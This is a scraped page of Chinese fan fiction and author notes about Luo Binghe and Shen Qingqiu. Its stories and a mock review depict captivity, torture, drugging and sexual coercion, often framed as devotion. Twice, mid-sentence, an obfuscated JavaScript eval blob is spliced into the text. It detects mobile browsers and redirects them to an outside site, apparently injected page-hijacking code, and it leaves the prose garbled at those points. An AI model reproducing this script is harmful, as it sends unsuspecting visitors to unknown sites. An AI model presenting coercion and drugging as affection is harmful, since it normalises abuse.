只是他还没玩够。两个‘沈清秋’绝对是种极为新奇的体验,白日里温情似水,夜间刻薄寡恩,怎么不算1+1〉2? 热情似火,柔情似水——谁能拒绝姐妹花的诱惑? 洛冰河决定了,将这对‘姐妹花’收入后宫,一定会给他增添不少的乐趣。 ———————— 讨论:黑暗里的人能不能与白莲相和 跟朋友聊天,他说想写一下冰哥重生到冰妹线,然后和沈垣搭,后面又给个契机,能看见离魂九。 emmm。 首先这个脑洞很有趣,其次这个脑洞光想想就觉得事情能展开。当然,以我的推论绝对会与他一开始的发展不符合。 为什么我不磕冰哥X沈垣,也磕不下去冰妹X沈九呢。 因为…… 我不相信从淤泥里爬出来的人,能与白莲(还是黑心白莲洗脑自己的)搭。 就像是现代的〈霸道总裁爱上我〉〈黑/道/少爷爱上我〉,我是真的不能理解。 一身脏污的人,会被纯善白洁所吸引。 但是—— 我不认为那些大佬能一直‘保护’对方。 也不觉得这些‘白莲’能接受并理解黑暗中滚爬的人。 唯有旗鼓相当、彼此拿捏对方把柄,同生共死、背后相依的战友 才是我能理解的‘爱’。 就像是很早的〈欢天喜地七仙女〉,我不能理解紫儿与董永的爱情,但我欣赏橙儿与飞鹰的惺惺相惜。 所以说…… 关于这些‘爱就是不讲道理、能解决一切’的论调 。 真的从一而终都不理解呢。 34.(脑洞)冰九互杀后,冰回流时间养娃 秋府出来的九不喜欢男人,所以冰怎么努力都不可能成功。那么,‘沈清秋’没办法软化,‘沈九’呢? ——正文—— “沈清秋!”洛冰河有些愤恨的控制自己想掐对方脖子的冲动,用力的抓着沈清秋的胳膊: “我没有折辱你!也不曾对你施以刑罚和谩骂,四派联审之时宁嘤嘤都没来得及上去,一个秋海棠你就认罪了!” “那些撕碎躯体、折磨精神、用其他人威胁、用暴力强行将你打碎的事情,我都没有想过!” “相反,这些年因为你的不喜与忽视,万丈深渊前的那一脚——这些林林总总,分明是你愧对于我!” 洛冰河的瞳孔幽深而明亮,盛满了愤怒与不解: “我已经足够对你以礼相待,甚至为了你一退再退,其他世界的惨剧数不胜数,你非要让我折了你的骨头,才肯低头退步?” “那又如何?”清浅的声音传来,伴随着对方略微的挑眉,只一句话,四两拨千斤般,就能击碎他的所有‘质问’。 “什,什么?” 洛冰河的愤怒像是收到了回应,如同坚固的冰层瞬间出现了裂纹。他本以为自己即便是说上几个时辰,也换不回沈清秋一句回应,可刚才沈清秋说,‘那又如何’? 那,又如何? 洛冰河不敢置信的望向沈清秋的眼睛,那双从来映不出他的瞳孔里,从始至终,都不会为他动容。 嘴唇不受控制的抖了抖,理直气壮的缘由似乎被人从根上掐住,浑身的力气一瞬间消失无踪。 “您刚才……”洛冰河努力握紧对方的手腕,却依旧被人轻松推开。 “洛、冰、河。” 沈清秋第一次这么正式的喊他的名字,眼里的厌恶从未改变过。他就像是又回到了刚拜入清静峰那一天,重新成为什么都没有的幼童。仙人对他的不喜,从不曾遮掩。 那个人即便一身单薄白衣,修为力量全封,被他软禁于房屋之内不得外出,依旧如当初一般,淡漠而高高在上。 仙人的薄唇微动,熟悉的冷笑带着绝情又过于现实到无法否认的讽刺: “魔尊大人自然可以将沈某割去四肢,也可以将沈某丢入地牢折磨,即便是看上沈某这副身躯,想要收为床奴,沈某也阻拦不得。” “只是,魔尊想要沈某因为这些而心甘情愿跪伏于您,却不如立刻一鞭子抽过来,也叫沈某闻个新鲜。” 阳光透过屋檐,空气中有着细碎而四散的尘埃。两人之间只隔着一道手臂的距离,却被明暗光影划分成两个世界。 “为,什么?”洛冰河眼里是难以理解的愤恨与已无路可退的疯狂,已经薄到只要轻轻点一下就会破损的冰层里,涌动着名为‘凭什么’和‘为什么’的暗流: “我什么坑都避开,一点计谋与疼痛都不舍得使用。一片真心反复奉上,却还是得不到……你的回应?” “为什么?”沈清秋笑了,笑容清雅而浅淡。他以为洛冰河永远不会戳破,一辈子都会当成没看见。双方都知道的铁证却一直被两人刻意忽略,而今讲出来,倒不如说是‘久在樊笼里,复得返自然’: “因为沈某从不曾设想过会与谁携手相伴,更从头至尾都只想精进修为。你若是想报复,大可立刻回报;但若是想求感情,还是趁早死了这条心。” “一杯茶砸不醒你;一脚踹入深渊也摔不死你。沈某既然无计可施,倒不如洗干净脖子等死,你若想千百倍报复,沈某受着便是。” “可是……”洛冰河看向空空荡荡的手心,方才抓取对方的温度仿佛还能感受到残留:“弟子的真心,您……” 洛冰河抬起头,正视着沈清秋空无一物的瞳孔,不知道是质问还是祈求,极为浓厚的感情被反复压制,最后浅到随时会化为烟尘混入风中:“感受不到吗?” “洛冰河。”沈清秋难得长篇大论,他以为自己的态度已经足够明显,这家伙究竟要自欺欺人到什么程度? “没有的东西怎么给出,你向我要糖果,可我自己都没有。你若真是因其他人而向我讨温情,倒不如发挥你的本性,直接去将那个人抢回来。何苦为难双方,困在这个‘为什么’的泥潭里。” “你拿我做替身,却还要质问我为什么不装的像一些。你自己什么想法,又缘何自己为自己带上枷锁,且问问你的本心吧。你不过是……(看起来别人有,而你却得不到的小孩子哭闹罢了)” “我没有!”洛冰河直接打断沈清秋的讲话,沈清秋说什么都可以,但唯独这一点绝对不容反驳! “呵。”熟悉的冷笑与嘲讽,沈清秋不再言语,却也不会看向他。 “弟子自始至终,从头到尾,都想要您!如果不是您,不是您的样貌与身姿,弟子后宫佳丽三千,那个不比您更温柔似水、体贴入微?” “哦。”沈清秋完全无所谓:“那你去找他/她/它呀。” 我管你究竟说些什么,给不出的东西就是给不出。你打死他,或者说打不死他都是一样的。他向别人讨糖果的时候没有得到,自己的手心都空无一物、什么都没有,如何将温情分与他人? 洛冰河想要的是不多,但是他没有。不是他不想给,是他真的给不出。既然给不出,又何必许下虚妄的诺言,让别人跟他一样承受着期待却被欺骗的痛苦? “沈!清!秋!”洛冰河额头上的血红印记就像是跳动的火焰,鲜艳的几乎要吞噬能看见的一切:“你tm非要我动粗是吧!” “沈某早就说过,你若是想报……唔……” 疼,撕心裂肺,从骨髓里溢出来的疼痛。 洛冰河这玩意就是狗杂种,之前能跟他好好交谈,只是因为他始终抱有一线希望。而今这一丝希望再次被沈清秋无情打碎,那些给自己披上的层层伪装,自然也就不再维持。 骨子里就是残忍的畜生,即便是看起来再像个人,也终究不是同一个物种。 “嘶……”沈清秋的睫毛被打湿,从额头留下的汗水模糊了他的眼睛,盈在眼眶的液体绝不可能是弱者的泪。 他就知道,没有交换物品的他,不可能获得别人的感情。世间的所有事物都是等价交换,别人捧着一份情来,是希望他能够给予同等的或者过量的回馈。 可惜沈清秋早就将自己掏空了。 他不是看起来冷情,是真的什么也没有。 就像是他说的,没有的东西,怎么给?他自己都是一团寒冰,怎么用体温替别人取暖?对方除了会被他的冰冷再次冻伤,别无其他可能。所以沈清秋,本就该远离任何人,推开所有人。 洛冰河将沈清秋强压在身下,感受着对方因疼痛而战栗,因天魔血而滚烫,因忍耐而咬破的唇珠,心中生出无限的悲凉—— 为什么他们之间的关系永远只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15200373|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能是施暴者和受辱者?为什么他们之间只能是两个强势者互相折磨?为什么他们都在画地为牢、不断的重复着对方的悲剧? 过于的相像,难道就不能携手? 洛冰河低头,吻住对方的唇。 闭上眼,他选择向本能投降:那就使用暴力吧,起码,他还能拥有躯体。 听到对方的痛骂并不能使他感受到快意,将人折辱成支离破碎也不能使他满意,那些疼痛与血泪的发泄,最后能换回的,只有对方潜意识的更加抗拒。 可是师尊啊,谁让‘洛冰河’是天道宠儿、而‘沈清秋’,注定了要与他生死纠缠。 ——番外—— (虽然我写不出来冰九的细微感情变化,但是还是可以想办法he一下的) (已经很努力了,要不然这篇早杀起来了) “师尊。”洛冰河停下天魔血的操控,替对方擦干满身的汗:“您说‘沈清秋’给不了弟子想要的,那沈九呢?” “什么意思。” “已经成为仙尊的‘沈清秋’会拒绝所有人的献殷勤,被您抛弃在记忆中的偏执‘沈九’,会拒绝一份诚挚的爱吗?” “我。”沈清秋微微扭头,躲开对方深情到要将人吸进去的黑色漩涡:“不知道。” 通过自己拥有一切的‘沈清秋’,已经习惯了所有的一切都自己扛,也习惯了等价交换、弱肉强食的生存法则。莫说怀柔与强势,即便是将他拆了重塑,改变不了的,永远不可能改变。 但。 弟子时期的沈九。 跟随无厌子浪迹江湖、无恶不作的沈九。 被秋少爷当成玩物的沈九。 被岳七许下诺言又抛弃的沈九。 需要跪在地上乞讨、偷鸡摸狗动宥打架的乞丐九。 沈清秋不知道他会如何选择。 他是一个扛下无数痛楚,已经艰难攀爬至成功的‘完成体’。因为已经获得过一切,所以习惯了手握强大力量,镇压和推开所有善意与恶意。 可无数个没有站起来、无数个可能会不知道死在哪里的‘沈九’,身为已经成功的‘沈清秋’,没办法替他们做决定。 沈清秋的脸突然被两只温热的手心捂住,猝不及防的映入一张笑颜:“那么,弟子就回溯时间河流。” “?”沈清秋的脑子一时间有些待机,整懵的表情过于明显。眼前出现一片阴影,伴随着逐渐放大的脸庞,冰凉的唇感受到柔软的温度。 “师尊,君生我未生、我生君已老。这次换弟子早早带您离开,弟子期待您主动向弟子展露心扉的那一天。” ——碎碎念—— 折骨是不可能折骨的;舍弃傲气也是不可能的。 所以,就让洛冰河当一回舔狗吧(笑死?)。 嗯,那种将人碾压成泥后开启携手共进的,我写不出来……(因为不想虐九)那就让冰哥当救世主吧。之前就听过,如果冰哥当师尊,一定比九靠谱……emmm,有点心痒难耐,哇啊哈哈哈哈哈 设想一下,冰哥将乞丐九带走,九潜移默化喜欢上冰哥,绞尽脑汁告白,然后冰哥(假装)不同意,九手段尽出博冰哥注意力。两人即将he,九恢复了记忆…… 这个表情真是想想就狗血的要死,纠结,无辜,厌烦,恼羞成怒…… 简直不要太有趣了吧(可爱( ???? )) 35.你可以不爱我,但不能不恨我 前言 重生冰九+黑化七九+兄弟柳九 柳九:灵犀洞内,柳清歌身躯死去,灵魂却入沈清秋壳子,经历了‘沈清秋’的人生后,终于明白了天之骄子对凡人的不了解。‘未经他人苦、莫劝人向善’,当柳清歌真正成为沈清秋后,他才发现九的生活是多么令人窒息,而那些看不见却又处处萦绕于身的不如意,又如何的说不出口却真实存在。 《假如灵犀洞后柳顶替九》 七九:小九啊,不听话没问题,喜欢惹事也没问题,这些七哥都会给你解决。可是——你若是因玩闹伤了自己的身子,却是万万不可的。外面风雨那么大,为了你的安全着想,还是莫要再出去玩闹了。 《七九:以守护为名,将你困在怀中》 冰九:师尊啊,既然回来了,那么我们前世的账,可以继续聊一下了。你没有前世记忆,所以并不怕我?可是师尊啊,如果你不曾记得那些,我这番报复,又该谁为我见证,谁替我喝彩? 《双重生:冰哥拜入柳清歌名下》 ———————————————— ———————————————— 上面两个脑洞,看的人比较多(没错,小透明受宠若惊,所以打算盘一盘后开个长篇,势必要写个十万字以上) 下面那个脑洞,可以充当大纲。 所以融合一下,这篇里面就包含了兄弟情深柳九、黑化囚禁流七九、双重生冰九。 ————————————————— 【大纲】 沈清秋重生,虽不信噩梦情景,但还是心念有所触动,修为停滞不前。 柳清歌与沈清秋斗嘴,沈清秋欲争抢洛冰河,在看到对方那一刻,放弃想法。(然岳清源将洛冰河带上,被沈清秋关门谢客)洛冰河拜入百战峰。 沈清秋救下柳清歌,洛冰河重生;洛冰河下山抓人,被沈清秋回怼。洛冰河认定沈清秋重生,但沈清秋的表现却并不像有记忆——叠加沈清秋生病后修为停滞,洛冰河更加确信沈清秋有问题。 柳清歌认为沈清秋有问题,申请与他一同出任务,要试探一番。岳清源乐见其成,同意了。 沈清秋不喜欢洛冰河,故看见两人时转身就想走。被柳清歌冷刺后赌气一同上路,可柳清歌见猎心喜,立刻打架去了。留下洛冰河与沈清秋。 洛冰河试探,沈清秋莫名其妙。洛冰河欲施展梦魇,却苦与时机不到,魔力不足以将金丹后期的沈清秋落入其中。 沈清秋向柳清歌讽刺:‘挑了个什么徒弟,竟想着改换门庭。’ 柳清歌:‘不劳烦你管教。’ 洛冰河看着沈清秋与柳清歌对骂,心生不满——洛冰河绝不允许沈清秋在自己面前与旁人肆意潇洒的自由自在,甭管他是有记忆还是没记忆,他认定的‘师尊’,要与自己纠缠的人,必须是沈清秋。 回山,魔族入侵。柳清歌与沈清秋将人打的落花流水,洛冰河获得梦魇。 柳清歌与沈清秋喝酒,沈清秋被拉入梦魇,柳清歌以暴力进入梦魇,经历沈清秋关于狂傲线、冰九后期的世界,心态转变。 沈清秋恢复记忆,于梦魇之地大打出手。洛冰河借梦魇的势,勾起沈清秋的心魔——年少时走不出的秋府;长大后又将恶意倾注给洛冰河、继而再次困于其中。 沈清秋失忆。洛冰河欲将人劫走。柳清歌与洛冰河对打后将人撵走。 岳清源出面,以‘修养’之名,将沈清秋养在穹顶山。柳清歌察觉到不对劲,据理力争之下,每周至少要‘求见’一次。 柳清歌盘沈清秋那一世的过往,发现两件事:1.岳清源绝对不像是表现的那样敦厚;2.洛冰河大概率不仅仅只想弄死沈清秋。 —————— —————— ——就当成冰九的文案吧,分析的书评—— 此界的洛冰河实在是个矛盾的人。 也是万千世界中独有的几个异类之一。 想要沈清秋服软听从,却不想折损对方的傲骨; 想要沈清秋主动听话,却不想灭杀对方坚韧反驳的灵魂; 想要沈清秋安守于自己身边,却不愿拿着绳索将对方五花大绑的束缚。 就像是他会给对方下点药,却提前仔细搜集药效不是最好、但却最不伤身的那种。 他会动用一些小工具,却也谨慎的掌控着时间,绝不允许让这些物什伤到对方。 他会想用各种方式将对方捆在自己身边,却又从来舍不得用天魔血化为锁链折磨他。 他想拥有对方的爱。 真心的,自愿的,一点也不勉强的那种。 为此,他割裂无数时空、认真分析他人经验,极其科学的为对方设立成体系的培养方案,然后每天将对方的反馈记录在案。 沈清秋只知道洛冰河拿捏着他的弱点喜好与把柄禁忌反复横跳,却不知他私底下多认真的研究对方特性、琢磨应对方法。 看着沈清秋在自己手里溃不成军很有成就感;看着他因悸动而泛上诱人的粉红色泽亦是令人振奋;看着以往完全不敢接近之人在自己耳边低声喘息、亲身感受他的灼热体温,更是令洛冰河欲罢不能。 可这一切,并不完全是他想要的。 他将沈清秋从地牢里带出来,并不是单纯想给自己添个床宠。 虽然沈清秋执意认为他在用床事拿捏他、困住他,甚至用各种花里胡哨、姿态各异的工具与药物折腾他。 但洛冰河做这些事的本质,只是希望借此贴近对方。 这就是洛冰河为什么如此‘急功近色’‘好颜重/欲’的原因。 只是当洛冰 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15203729|163333||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 河想要更进一步的时候,却发现了最大的问题——他要如何拿捏情海中的尺度,避免沈清秋因为清欲而毁掉脑袋? 将人养成一个只知承宠、身体主动却灵魂不在的禁脔,并不是他想要的。 那么——就加入‘仇恨’吧。 恨意远比爱要更深远、更持久。 你可以不爱我,但不能不恨我。 只要你还恨着我,就不会思考‘早些离世’的念头,也不会因世间再无锚点而成为漂泊不定的孤魂。 若非投置过关注,又怎会心生期待?若非心中有假设,又怎会因求而不得发出怨恨?若非愿望得不到满足、恨意不曾被发泄,他们又如何扭曲成当今模样? 沈清秋。 哪怕是恨着我,我也要你神志清明。 哪怕我会在某一天被你一剑穿心,我也要维持你始终抗拒对立的心性。 哪怕是为了其他人被我拿捏,我也要保证你心中依旧存在情感,没有被世事磨砺成无心傀儡。 因为—— 你本就该那样的。 食天下之供奉,为苍生而请命。 为世间不平事而拔剑、为璀璨星光而感慨,居九州之巅而除魔卫道、处泥坑深渊而艰难求存。 你说你不信恶的种子能开出绽放的花,所以被你倾注了恶意的‘洛冰河’,哪怕是将你碎尸万段,你也觉得理所应当。 是啊。 数万个洛冰河选择将你折辱,又存在那么多条世界线想让他睁眼看看他。而其中又有那么多的失败者走出错误的选择,彻底将两人拉入永不可能HE的结局。 只是…… 数百万个分支中,总会出现那么几个成功者。而那么大的基数里,也总会存在几个截然不同的异类。 他的心很贪,想要的也很多。 所以。 不要拒绝我,也不要试着逃避。 拒绝与逃避,最后苦的一定是你。 ——碎碎念—— 发给朋友看。 朋友1:好自作多情的人。自我感动。 我:.......我居然能写出来舔狗吗? 朋友:如果想写小说,得两个人的互动。甜文最厉害的一点就是写出两个人心意相通的那个点。 我:所以我写的准确来说应该是剥析... —— 朋友2:书评?好像不错,剧情是啥? 我:……(艰难)看到的文案。 朋友:嗯,看起来不错的样子。 —— 朋友3:上面那个分析? 我:……(行吧我知道了) 朋友:我该学你写一下议论文 我:(行了行了别说了)我懂了(哭?) 真是相当标准的理科思维议论文啊。 36.重生九避开冰,冰拜入柳名下 第一章欲渡黄河冰塞川,将登太行雪满山 重生但洗脑梦魇的沈九+略微开窍的冰哥 ——正文—— 密不透光到连空气都显得沉闷的屋子里,是伸手不见五指的黝黑。落针可闻的寂静里,连呼吸都带着灼热。 当体温升高的时候,周遭气息并不会显得冰凉,反而会因咽喉的滚烫而张开口鼻,尝试将更多氧气纳入体内。 畜牲,乱/伦的杂种! 欺师犯上,龌龊又恶心! 沈清秋深吸一口气,将身下被抓出无数孔洞的床单攥在手心——萱软的毛皮能为床铺提供最软和的触感与温暖,却也在另一种程度上,给予躺在其上之人,相当细腻的痒意。 洛冰河临走前的‘嘱咐’犹在耳边,仿佛自带回音般,不停在沈清秋心头播放: “沈清秋,你后悔么?” “沈清秋,是你害的我,所以要千百遍‘还回来’。” “沈清秋,疼吗?疼就对了。对你这种恶劣小人,就该抽筋剥骨、沦为他人泄恨工具。” “沈清秋,是你选的我,亦是你抛弃了我。所以你合该用自己赔给我。” “沈清秋,他们都因你而死,可我不会让你死。你这样的人,唯有活着,才是最大的折磨。” ‘胡说,胡言乱语!’ 沈清秋颤抖着身子,艰难的从床上站到地上。感受着双脚踏实站立的感觉,哪怕是脚心被长毛地毯勾的心里躁动,坚实的大地依旧能给人无尽的安全感。 衣物还算规整正经,亦很柔顺贴合。只是当前的状态下,即便是最柔软的蚕丝,也显得粗糙异常,摩擦之间带来电流与抽搐。 沈清秋压下负面状态,猛咬舌尖后以食指虚空画符——洛冰河这个畜生坏他道心! 不仅将他丢入地牢后各种刑罚,近来居然还将他丢到床榻是当成玩物!而且还说什么要他赔罪、要他认错。 他何错之有?最大的错误,就是没能早些清理门户,将此等狼子野心的杂种一剑砍杀! 还有那些所谓“因他而死”的人,他们分明是因洛冰河而死!是洛冰河这个丧尽天良的玩意将他们砍杀殆尽,若非洛冰河这个牲口搞连坐,其他人根本不用死! “咕嘟。” 清晰的咽口水声音传来,黑暗能挡住失去修为的仙尊,却挡不住心怀鬼测的魔尊。 洛冰河早就进来,却放任了沈清秋的所作所为。自顾自的看着对方一边抽冷气一边压不住喘/息,又用极为缓慢诱人的动作,小心翼翼的踩在地毯上,吐出舌尖血绘制禁咒。 沈清秋极为敏感,地毯的绒毛算得上略长,绝对是洛冰河拿着扫过会被踹的程度。那么——现在沈清秋能稳稳的站在上面,洛冰河下一步是不是可以试一下? 而且比起皮相,沈清秋最诱人的,其实是永远不会服软和认错的内核。这种根植于灵魂深处的特性,就像是狂风暴雨后露出的坚韧竹子般,愈是风雨催折,愈是清新欲滴。 哪怕洛冰河明确告诉他,如果沈清秋愿意稍微柔软一些,他都会让对方舒服点,可惜这家伙从来不肯。所以(摊手),洛冰河也只能满足对方,让他晕眩后再安稳躺在自己怀里。 “滚!”沈清秋虽然视力衰退、灵力尽失,可那么多年的修炼与战斗本能是做不了假的。 他毫不犹豫的将刚写好的禁令丢向发出声音之处,接着快速将衣衫裹好,背靠在借火光看见的墙壁旁。 背靠着冰凉坚硬的屋墙,身后就有了托付,无需关心。右手掐剑诀,左手握紧成格斗防守式,护好下颚与咽喉。 “师尊啊。”洛冰河随意将沈清秋费了老大功夫写出来的禁咒打碎,接着极为轻松的将炸毛猫揽在怀里:“您怎么就学不乖呢。” “放开!”沈清秋左肘屈起,猛的砸向洛冰河的心口;右手食指被咬破,快速绘制‘雷霆庇佑’,打算以天雷击杀妖魔。 只是洛冰河比他更快一步,直接硬接沈清秋的窝心拳,右手将对方的右手食指含入口中,小心为沈清秋止血。 当然,洛冰河的力道依旧很大,虽不至于割伤手腕,深紫淤青是免不了的。 舌尖的触感柔软又冰凉,口腔却是温热湿润。细小的倒刺与凸起经过,无端升起被人捧在手心的羞涩、被人谨慎关怀的重视。 “你做什么……” 沈清秋突然全身僵硬。 洛冰河有病吗?硬接他全力一击不说,还脑子有坑的将他的手放嘴里,给他舔伤口止血? 沈清秋可不相信这玩意会对自己“温柔以待”。相比较之下,他更觉得,洛冰河事出反常必有妖,脑子里定然在憋什么坏。 比如将他从地牢里捞出来,改换到床铺之上。不就是认准了他在这种事情上抵御不了,很容易露怯吗? 现在的怀柔,也不过是换一种方式折辱。期待着他付出情感,接着再一脚踩碎,看敌人震惊无措的表情罢了! “师尊。”洛冰河将沈清秋的脑袋掰正:“弟子好像说过,您是弟子的。所以……不能受伤?” 声音平淡,表情诚恳、眼神荣慕。就连圈着他的双腿都以保护的姿态维持着,捧着他脸颊的双手更是温柔到散发着丝丝暖意。 若不是沈清秋深知这玩意打了自己多少次,又如何恶劣的想看他狼狈、听他求饶,沈清秋还就信了。 畜生就算是学会了用头蹭你的手心,其骨子里的残忍与凶狠是遮掩不住的。只是他学会了伪装,懂得示敌以弱而已。 故而,沈清秋毫不犹豫的回怼:“欺师妄上的畜生!本尊没喝你的敬师茶,不是你师尊!让你们魔族潜伏进来,本尊早该清理门户!” 沈、清、秋。 你可真是好样的。 永远是哪疼往哪戳。 洛冰河的眼神瞬间森冷下去,捧住对方的手掌也改成了控住对方:“师尊当真那么想?” 哪怕他都退步如此,想方设法替他修补身躯、让沈清秋最大程度维持仙尊的自尊心、将对他的伤害降到最低,依旧没办法撼动? 额头上的血红印记已开始跳动,一旁的心魔剑也开始嗡嗡作响。 只是沈清秋依旧在危险发言:“有本事你就杀了我,别让本尊寻到机会,本尊定要让你死无葬身之地!” 话音未落,天旋地陷间,洛冰河将沈清秋压回床榻: “师尊提醒的对。” 乌压压的雾气中,阴冷而漂浮的声音如附骨之毒般无孔不入:“所以弟子会更加努力,与师尊共赴极乐。” “畜生!” “混账!” “本尊迟早弄死你!” 洛冰河的手指于沈清秋腰间滑动,如愿得到对方的颤抖退缩后,欺身压上:“师尊,你的身体,远比你的唇舌更诚实呢。” 沈清秋下意识一脚踹出,试图通过攻敌所必救拉开与对方的距离。洛冰河抓住踢向不可言说之处的右脚,细细摸索着:“师尊啊,您当初也是这只脚,将弟子踹下无间深渊的。” 脚踝纤细而细腻,腿骨修长而有力。即便是现在失去灵力护身,身体力量也不可小觑。 洛冰河的手指顺着脚踝一点点向上延伸,将上午刚给对方套上的衣衫缓慢化为灰烬——虽然不衣寸缕很方便,但半隐半露、替对方穿衣解带,怎么不算清趣? 空气中的凉意与洛冰河手指间的冰冷交融,令人忍不住兴起鸡皮疙瘩;可格外有技巧的手法,使沈清秋好不容易压制下去的异常情感冒起。 他是正常人。 但此时此地,沈清秋更希望自己最好天生钝感。 “师尊,乱蹬人可不是好习惯啊。弟子至今记得你当初那一脚有多么无情,一下就让弟子坠入无尽深渊、废了相当大的功夫才爬出来呢。” 语调亲昵、声音温柔。就连遣词造句,都带上溺死人的甜宠。可对方额头上鲜艳到仿佛随时能灼烧一切的罪恶印记,却令沈清秋忍不住浑身颤抖。 昔日的回忆展现眼前,当初沈清秋发现自己身边居然潜伏了个魔族奸细,气的差点一剑砍死他。可最后却难得发个善心,只一脚将其踹下去,想着生死由命。 但他丝毫没有想到,自己会因为那一脚,现在被人用这样的动作、这样的姿势,无数次的报复回来! 哪怕洛冰河将他双脚砍下,甚至折断双腿,他都能忍受,都可以理解。却唯独,不能以身饲虎! “畜牲!滚开!”沈清秋感受着腿上越来越过分的抚摸,腰间更是被人牢牢压住:“滚!” “师尊。”洛冰河的视线毫无温度,手上的力道越发增强。他将沈清秋翻个面、正对自己压在身下: “师尊啊,你这身躯如此纤细、皮囊又如此精致,可惜这个性子却带给人无尽绝望。” 他将头探入沈清秋耳侧,紧盯着沈清秋尝试以闭眼逃避的姿态:“师尊。师尊所赐,弟子不敢忘。就是不知,师尊希望弟子怎么回报呢?” 边说,边用指腹一点点描画沈清秋的脸。看着这张曾经自己无数次想要得对方认可的青眼,却一直被冷漠对待的、曾经高高在上的家伙。 成就三界魔尊的他,再也没人敢跳出来指责他不应该。而那些关于‘沈清秋养出个魔头’的话语,洛冰河全数粉碎。 只是面前这个人,无论他做什么,用何种方式表达,眼中都一如既往的没有他。 沈清秋的心与情感只赠送于其他人,甭管是为了他赴死的岳清源;还是拖着残躯挡在他面前的明帆;亦或是现在安静带在自己后宫的宁嘤嘤。甚至说,那个早死的柳清歌,都能在另一个世界与他谈笑风生。 而这些所有,半分落不到‘洛冰河’的身上。 啊。也不是。 另一个世界中那个该死的杂种,不就成功了? 明明那个人完全不如他,真不知道沈清秋怎么就瞎了眼,看不透对方那拙劣的伪装。就连他的邀请,‘沈清秋’都满脸惊恐的退避三舍,好像他是什么罪大恶极、残暴不仁的原罪似的。 真是的。无论他是清静峰的弟子,还是现在的三界魔尊—— 与对面那个靠着装傻充愣、无辜卖萌的家伙比,他无论何时都是得不到长辈关爱的可怜孩童呢。 不过无所谓。哪怕是用苍穹山残余之人的命做筹码、用已死之人的灵魂做威胁,洛冰河早在最开始就保住了沈清秋的性命、亦断绝了对方以死逃避的可能性。 余生还很长,无非是慢慢等、一点点试探与调整。三界叛乱皆被平定,外忧已除,可安心养猫。 “师尊,‘幻梦’的滋味怎么样?”洛冰河大手落在对方细腻的腰/腹,轻拢慢捻抹复挑。这是人界最新出的药品,能让人欲语还休、欲/罢不能;同时,也是最不伤身的。 他之前犯下不少过错,好在修真者生命力顽强,各种酷刑走下来,沈清秋依旧强硬如野外的凶猛狸花。 只是对于上了心、动了情的人来说,对伴侣伤害少一些、危害小一些,总是应该的。 “畜生……”沈清秋身体忍不住颤抖,咬牙提膝,再度攻向孽度所在。 洛冰河眼眸中猩红一闪而过,那是魔族天生的暴虐与撕毁一切的狂暴欲;可这份源于本性的毁灭欲却飞快被浓厚的漆黑给淹没,就像是大脑发出指令后,各种躯体反应都被禁止。 洛冰河脸上挂着势在必得的笑容,长腿一伸将沈清秋的反抗压下,向着对方单薄的唇瓣细细研磨。 “呜呜……” 强势的舌头突破了禁封的双唇,洛冰河的举动与人一样强势,以一种强硬的态度追逐着沈清秋的回应。 温情与强硬本不可能同存,只是洛冰河为了沈清秋,压抑住脑海中翻涌的过往、克制住骨子里的嗜血。接着,以他最大程度的平淡与温和去接触对方,在得不到回答后身体力行的讨要属于自己的回应。 口中肆无忌惮的抢夺着沈清秋的空气,惊涛拍岸般迅猛吮吸,灵巧的舌头与沈清秋疯狂对招,逼得他无处可藏。酥酥麻麻和僵硬的感觉从舌根升起,连锐利撕咬的牙齿都被酸涩腐蚀,两人的血液与唾液疯狂交换,不分彼此。 无数谩骂被压下,数道听不清晰的语调破碎成丝,又被两人咽下。唯有急促的喘息、压抑不住的暗叹、疯狂尝试撕咬的牙齿碰撞声,昭示着情况的迅急。 洛冰河对床事并不热衷,只是沈清秋除此之外抗伤能力极强。就像是全身竖满尖韧的刺猬,虽说强行将其扒开并不是正确答案,但总归好过什么也得不到。既然亲密接触能令对方溃不成军,洛冰河便愿意花上诸多精力去‘陪伴对方’。 而且。 洛冰河也发现了一件事。 如果他主动温柔一些,给予些许细节上的关怀,沈清秋就像是从来没被人照料过一样,会出现某种类似于‘受宠若惊’的神情。 很离谱。但确实是事实。这大概是上位者的通病,喜欢别人顺着他,而非对抗。 洛冰河第一次发现的时候,是沈清秋因承受不住而发热。洛冰河只是替他探了下额头,下意识说了句不知道在其他地方说过多少次的‘我在这里,有我在’。 昏迷的沈清秋,居然主动拉着他的手,哪怕是陷入深度睡眠也不放。 而此事之后,洛冰河也试探过许多次。无论是稍微照顾一下对方的感受,还是随口敷衍般的‘你听话我就停下’,只要他说话算数,沈清秋就会‘听从’。虽然这个‘服从’行为大概率很浅,但确实是一种好的改变。 而这次的压下暴怒、选择先替对方止血,更是收获对方猛然僵硬的身躯和复杂到无法分析的眼神。 刨除最为明显的‘你有病吧?’,沈清秋的眼眸里,还有着极为浅淡却真实存在的疑惑与不敢置信。 是不敢相信‘洛冰河会对沈清秋好’,还是不相信‘会有人关心沈清秋’? 这个问题,洛冰河会想方设法求的答案的。 洛冰河看着因闭气而脸上泛起玫红色、因激烈消耗氧气而大口呼吸的沈清秋,右手情不自禁的压在对方上下滚动的喉结上。 沈清秋并不是软硬不吃,是吃(在意之人)软不吃硬的同时、拒绝不了其他人对他的关怀。 不愧是仙尊。 洛冰河轻笑一声。 